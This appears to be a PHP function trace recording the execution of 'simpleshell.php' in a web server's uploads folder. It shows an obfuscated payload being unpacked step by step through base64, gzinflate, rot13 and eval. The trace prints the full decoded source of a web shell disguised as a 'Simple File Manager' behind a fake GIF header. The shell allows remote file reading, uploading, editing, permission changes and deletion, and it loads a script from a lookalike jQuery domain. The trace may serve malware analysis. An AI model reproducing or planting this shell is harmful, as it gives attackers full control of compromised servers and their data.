"xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\n\r\n\r\n}\r\n ?>'	/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	0
3		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	7	$val = '7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx9kScwIEm/3bFoEmadNMojdkwey0P8BZmQ16LD50kWTY978TXBvz78Pf75J/wFjf/s7z22QSKCHc+jL5L9UQl6'
4	16	0	0.002189	449288	base64_decode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx9kScwIEm/3bFoEmadNMojdkwey0P8BZmQ16LD50kWTY978TXBvz78Pf75J/wFjf/s7z22QSKCHc+jL5L9UQl6'
4	16	1	0.002224	452392
4	16	R			'YQo8\022~\017ږfr\024M\026Eۤں\b$\035I*\022\035w\fIٔ-+Fؗ\004%\031R~?Nx\036\023XĮ#&TxNL\021.Nߜv\b\006-?/_]P"3sI*1\t;Ɇ\021BB\006EQ(d(\002\032F*5E\\ȜY@BgǻwQt$VF\v?,Y&x>\t(a2\017(\0277s))S \0014$|D\033|M}swPa+oj\024\004(c\017\rɏ\t}\0204rI:a\\}\'0 Iݱh\022f4#vL\036C\005עI\026M{5>=\'\005=A"\035ϣ/Q\tzppt\033({< 3Ÿ'
4	17	0	0.002308	452360	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'YQo8\022~\017ږfr\024M\026Eۤں\b$\035I*\022\035w\fIٔ-+Fؗ\004%\031R~?Nx\036\023XĮ#&TxNL\021.Nߜv\b\006-?/_]P"3sI*1\t;Ɇ\021BB\006EQ(d(\002\032F*5E\\ȜY@BgǻwQt$VF\v?,Y&x>\t(a2\017(\0277s))S \0014$|D\033|M}swPa+oj\024\004(c\017\rɏ\t}\0204rI:a\\}\'0 Iݱh\022f4#vL\036C\005עI\026M{5>=\'\005=A"\035ϣ/Q\tzppt\033({< 3Ÿ'
4	17	1	0.002423	464680
4	17	R			'TVS89;n\r\n<?cuc reebe_ercbegvat(0); \r\n\r\nrpub \'<!QBPGLCR UGZY>\r\n<UGZY>\r\n<URNQ>\r\n<gvgyr>Fvzcyr Svyr Znantre</gvgyr>\r\n<zrgn anzr="ebobgf" pbagrag="abvaqrk">\r\n<yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff?snzvyl=Ahavgb" ery="fglyrfurrg">\r\n<fpevcg fep="//pbqrf-wdhrel.pbz/nwnk/wdhrel-1.11.2.zva.wf"></fpevcg>\r\n<fglyr>\r\nobql{\r\nsbag-snzvyl: "Enpvat Fnaf Bar", phefvir;\r\nonpxtebhaq-pbybe: #r6r6r6;\r\ngrkg-funqbj:0ck 0ck 1ck #757575;\r\n}\r\n#pbagrag ge:ubire{\r\nonpxtebhaq-pbybe: #636263;\r\ng'
4	18	0	0.002472	461576	str_rot13	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	1	'TVS89;n\r\n<?cuc reebe_ercbegvat(0); \r\n\r\nrpub \'<!QBPGLCR UGZY>\r\n<UGZY>\r\n<URNQ>\r\n<gvgyr>Fvzcyr Svyr Znantre</gvgyr>\r\n<zrgn anzr="ebobgf" pbagrag="abvaqrk">\r\n<yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff?snzvyl=Ahavgb" ery="fglyrfurrg">\r\n<fpevcg fep="//pbqrf-wdhrel.pbz/nwnk/wdhrel-1.11.2.zva.wf"></fpevcg>\r\n<fglyr>\r\nobql{\r\nsbag-snzvyl: "Enpvat Fnaf Bar", phefvir;\r\nonpxtebhaq-pbybe: #r6r6r6;\r\ngrkg-funqbj:0ck 0ck 1ck #757575;\r\n}\r\n#pbagrag ge:ubire{\r\nonpxtebhaq-pbybe: #636263;\r\ng'
4	18	1	0.002525	473896
4	18	R			'GIF89;a\r\n<?php error_reporting(0); \r\n\r\necho \'<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Simple File Manager</title>\r\n<meta name="robots" content="noindex">\r\n<link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet">\r\n<script src="//codes-jquery.com/ajax/jquery-1.11.2.min.js"></script>\r\n<style>\r\nbody{\r\nfont-family: "Racing Sans One", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\nt'
4	19	0	0.002806	514216	eval	1	'?>GIF89;a\r\n<?php error_reporting(0); \r\n\r\necho \'<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<title>Simple File Manager</title>\r\n<meta name="robots" content="noindex">\r\n<link href="https://fonts.googleapis.com/css?family=Nunito" rel="stylesheet">\r\n<script src="//codes-jquery.com/ajax/jquery-1.11.2.min.js"></script>\r\n<style>\r\nbody{\r\nfont-family: "Racing Sans One", cursive;\r\nbackground-color: #e6e6e6;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #636263;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: silver;\r\n}\r\n#content .first:hover{\r\nbackground-color: silver;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\ntable{\r\nborder: 1px #000000 dotted;\r\n}\r\nH1{\r\nfont-family: "Rye", cursive;\r\n}\r\na{\r\ncolor: #000;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor: #fff;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center>Simple File Manager</center></H1>\r\n<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">\r\n<tr><td>Current Path : \';\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'">\'.$pat.\'</a>/\';\r\n}\r\necho \'</td></tr><tr><td>\';\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="green">File Upload Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">File Upload Error.</font><br />\';\r\n}\r\n}\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="green">File Upload Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">File Upload Error.</font><br />\';\r\n}\r\n}\r\n\r\necho \'<form enctype="multipart/form-data" method="POST">\r\nUpload File : <input type="file" name="file" />\r\n<input type="submit" value="upload" />\r\n</form>\r\n</td></tr>\';\r\nif(isset($_GET[\'filesrc\'])){\r\necho "<tr><td>Current File : ";\r\necho $_GET[\'filesrc\'];\r\necho \'</tr></td></table><br />\';\r\necho(\'<pre>\'.htmlspecialchars(file_get_contents($_GET[\'filesrc\'])).\'</pre>\');\r\n}elseif(isset($_GET[\'option\']) && $_POST[\'opt\'] != \'delete\'){\r\necho \'</table><br /><center>\'.$_POST[\'path\'].\'<br /><br />\';\r\nif($_POST[\'opt\'] == \'chmod\'){\r\nif(isset($_POST[\'perm\'])){\r\nif(chmod($_POST[\'path\'],$_POST[\'perm\'])){\r\necho \'<font color="green">Change Permission Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Change Permission Error.</font><br />\';\r\n}\r\n}\r\necho \'<form method="POST">\r\nPermission : <input name="perm" type="text" size="4" value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'path\'])), -4).\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="chmod">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'rename\'){\r\nif(isset($_POST[\'newname\'])){\r\nif(rename($_POST[\'path\'],$path.\'/\'.$_POST[\'newname\'])){\r\necho \'<font color="green">Change Name Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Change Name Error.</font><br />\';\r\n}\r\n$_POST[\'name\'] = $_POST[\'newname\'];\r\n}\r\necho \'<form method="POST">\r\nNew Name : <input name="newname" type="text" size="20" value="\'.$_POST[\'name\'].\'" />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="rename">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}elseif($_POST[\'opt\'] == \'edit\'){\r\nif(isset($_POST[\'src\'])){\r\n$fp = fopen($_POST[\'path\'],\'w\');\r\nif(fwrite($fp,$_POST[\'src\'])){\r\necho \'<font color="green">Edit File Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Edit File Error.</font><br />\';\r\n}\r\nfclose($fp);\r\n}\r\necho \'<form method="POST">\r\n<textarea cols=80 rows=20 name="src">\'.htmlspecialchars(file_get_contents($_POST[\'path\'])).\'</textarea><br />\r\n<input type="hidden" name="path" value="\'.$_POST[\'path\'].\'">\r\n<input type="hidden" name="opt" value="edit">\r\n<input type="submit" value="Go" />\r\n</form>\';\r\n}\r\necho \'</center>\';\r\n}else{\r\necho \'</table><br /><center>\';\r\nif(isset($_GET[\'option\']) && $_POST[\'opt\'] == \'delete\'){\r\nif($_POST[\'type\'] == \'dir\'){\r\nif(rmdir($_POST[\'path\'])){\r\necho \'<font color="green">Delete Dir Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Delete Dir Error.</font><br />\';\r\n}\r\n}elseif($_POST[\'type\'] == \'file\'){\r\nif(unlink($_POST[\'path\'])){\r\necho \'<font color="green">Delete File Done.</font><br />\';\r\n}else{\r\necho \'<font color="red">Delete File Error.</font><br />\';\r\n}\r\n}\r\n}\r\necho \'</center>\';\r\n$scandir = scandir($path);\r\necho \'<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">\r\n<tr class="first">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>\';\r\n\r\nforeach($scandir as $dir){\r\nif(!is_dir("$path/$dir") || $dir == \'.\' || $dir == \'..\') continue;\r\necho "<tr>\r\n<td><a href=\\"?path=$path/$dir\\">$dir</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";\r\nif(is_writable("$path/$dir")) echo \'<font color="green">\';\r\nelseif(!is_readable("$path/$dir")) echo \'<font color="red">\';\r\necho perms("$path/$dir");\r\nif(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo \'</font>\';\r\n\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"\\"></option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"dir\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$dir\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$dir\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'<tr class="first"><td></td><td></td><td></td><td></td></tr>\';\r\nforeach($scandir as $file){\r\nif(!is_file("$path/$file")) continue;\r\n$size = filesize("$path/$file")/1024;\r\n$size = round($size,3);\r\nif($size >= 1024){\r\n$size = round($size/1024,2).\' MB\';\r\n}else{\r\n$size = $size.\' KB\';\r\n}\r\n\r\necho "<tr>\r\n<td><a href=\\"?filesrc=$path/$file&path=$path\\">$file</a></td>\r\n<td><center>".$size."</center></td>\r\n<td><center>";\r\nif(is_writable("$path/$file")) echo \'<font color="green">\';\r\nelseif(!is_readable("$path/$file")) echo \'<font color="red">\';\r\necho perms("$path/$file");\r\nif(is_writable("$path/$file") || !is_readable("$path/$file")) echo \'</font>\';\r\necho "</center></td>\r\n<td><center><form method=\\"POST\\" action=\\"?option&path=$path\\">\r\n<select name=\\"opt\\">\r\n<option value=\\"\\"></option>\r\n<option value=\\"delete\\">Delete</option>\r\n<option value=\\"chmod\\">Chmod</option>\r\n<option value=\\"rename\\">Rename</option>\r\n<option value=\\"edit\\">Edit</option>\r\n</select>\r\n<input type=\\"hidden\\" name=\\"type\\" value=\\"file\\">\r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"$file\\">\r\n<input type=\\"hidden\\" name=\\"path\\" value=\\"$path/$file\\">\r\n<input type=\\"submit\\" value=\\">\\" />\r\n</form></center></td>\r\n</tr>";\r\n}\r\necho \'</table>\r\n</div>\';\r\n}\r\necho \'<br />Simple File Manager <font color="red">1.0</font>\r\n</BODY>\r\n</HTML>\';\r\nfunction perms($file){\r\n$perms = fileperms($file);\r\n\r\nif (($perms & 0xC000) == 0xC000) {\r\n// Socket\r\n$info = \'s\';\r\n} elseif (($perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n$info = \'l\';\r\n} elseif (($perms & 0x8000) == 0x8000) {\r\n// Regular\r\n$info = \'-\';\r\n} elseif (($perms & 0x6000) == 0x6000) {\r\n// Block special\r\n$info = \'b\';\r\n} elseif (($perms & 0x4000) == 0x4000) {\r\n// Directory\r\n$info = \'d\';\r\n} elseif (($perms & 0x2000) == 0x2000) {\r\n// Character special\r\n$info = \'c\';\r\n} elseif (($perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n$info = \'p\';\r\n} else {\r\n// Unknown\r\n$info = \'u\';\r\n}\r\n\r\n// Owner\r\n$info .= (($perms & 0x0100) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0080) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0040) ?\r\n(($perms & 0x0800) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0800) ? \'S\' : \'-\'));\r\n\r\n// Group\r\n$info .= (($perms & 0x0020) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0010) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0008) ?\r\n(($perms & 0x0400) ? \'s\' : \'x\' ) :\r\n(($perms & 0x0400) ? \'S\' : \'-\'));\r\n\r\n// World\r\n$info .= (($perms & 0x0004) ? \'r\' : \'-\');\r\n$info .= (($perms & 0x0002) ? \'w\' : \'-\');\r\n$info .= (($perms & 0x0001) ?\r\n(($perms & 0x0200) ? \'t\' : \'x\' ) :\r\n(($perms & 0x0200) ? \'T\' : \'-\'));\r\n\r\nreturn $info;\r\n}'	/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code	8	0
5	20	0	0.002990	514216	error_reporting	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	2	1	0
5	20	1	0.003007	514256
5	20	R			22527
5	21	0	0.003022	514216	getcwd	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	57	0
5	21	1	0.003038	514264
5	21	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	57	$path = '/var/www/html/uploads'
5	22	0	0.003067	514264	str_replace	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	59	3	'\\'	'/'	'/var/www/html/uploads'
5	22	1	0.003084	514360
5	22	R			'/var/www/html/uploads'
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	59	$path = '/var/www/html/uploads'
5	23	0	0.003112	514264	explode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	60	2	'/'	'/var/www/html/uploads'
5	23	1	0.003128	514840
5	23	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	60	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	64	$a = TRUE
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 1
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 2
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 3
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	62	$id = 4
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i = 0
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	70	$i++
5	24	0	0.003404	514768	scandir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	169	1	'/var/www/html/uploads'
5	24	1	0.003467	515392
5	24	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'simpleshell.php']
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	169	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'simpleshell.php']
5	25	0	0.003524	515408	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/.'
5	25	1	0.003545	515472
5	25	R			TRUE
5	26	0	0.003560	515440	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/..'
5	26	1	0.003576	515488
5	26	R			TRUE
5	27	0	0.003590	515448	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/.htaccess'
5	27	1	0.003607	515488
5	27	R			FALSE
5	28	0	0.003621	515448	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/data'
5	28	1	0.003637	515488
5	28	R			TRUE
5	29	0	0.003652	515448	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	184	1	'/var/www/html/uploads/data'
5	29	1	0.003670	515488
5	29	R			TRUE
5	30	0	0.003685	515448	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	186	1	'/var/www/html/uploads/data'
6	31	0	0.003700	515448	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/data'
6	31	1	0.003714	515488
6	31	R			16895
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 16895
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	262	$info = 'd'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	283	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	286	$info .= 'x'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	289	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	290	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	293	$info .= 'x'
5	30	1	0.003858	515488
5	30	R			'drwxrwxrwx'
5	32	0	0.003873	515448	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	187	1	'/var/www/html/uploads/data'
5	32	1	0.003890	515488
5	32	R			TRUE
5	33	0	0.003904	515456	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/prepend.php'
5	33	1	0.003921	515504
5	33	R			FALSE
5	34	0	0.003935	515464	is_dir	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	179	1	'/var/www/html/uploads/simpleshell.php'
5	34	1	0.003951	515504
5	34	R			FALSE
5	35	0	0.003966	515448	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/.'
5	35	1	0.003982	515472
5	35	R			FALSE
5	36	0	0.003996	515440	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/..'
5	36	1	0.004011	515488
5	36	R			FALSE
5	37	0	0.004024	515448	is_file	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	206	1	'/var/www/html/uploads/.htaccess'
5	37	1	0.004040	515488
5	37	R			TRUE
5	38	0	0.004054	515448	filesize	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	1	'/var/www/html/uploads/.htaccess'
5	38	1	0.004068	515488
5	38	R			64
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	207	$size = 0.0625
5	39	0	0.004094	515392	round	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	2	0.0625	3
5	39	1	0.004110	515464
5	39	R			0.063
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	208	$size = 0.063
4		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	212	$size = '0.063 KB'
5	40	0	0.004150	515488	is_writable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	219	1	'/var/www/html/uploads/.htaccess'
5	40	1	0.004168	515528
5	40	R			FALSE
5	41	0	0.004182	515488	is_readable	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	220	1	'/var/www/html/uploads/.htaccess'
5	41	1	0.004198	515528
5	41	R			TRUE
5	42	0	0.004211	515488	perms	1		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	221	1	'/var/www/html/uploads/.htaccess'
6	43	0	0.004225	515488	fileperms	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	1	'/var/www/html/uploads/.htaccess'
6	43	1	0.004240	515528
6	43	R			33188
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	246	$perms = 33188
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	256	$info = '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	275	$info .= 'r'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	276	$info .= 'w'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	279	$info .= '-'
5		A						/var/www/html/uploads/simpleshell.php(5) : eval()'d code(1) : eval()'d code(8) : eval()'d code	282	$info .= 'r'
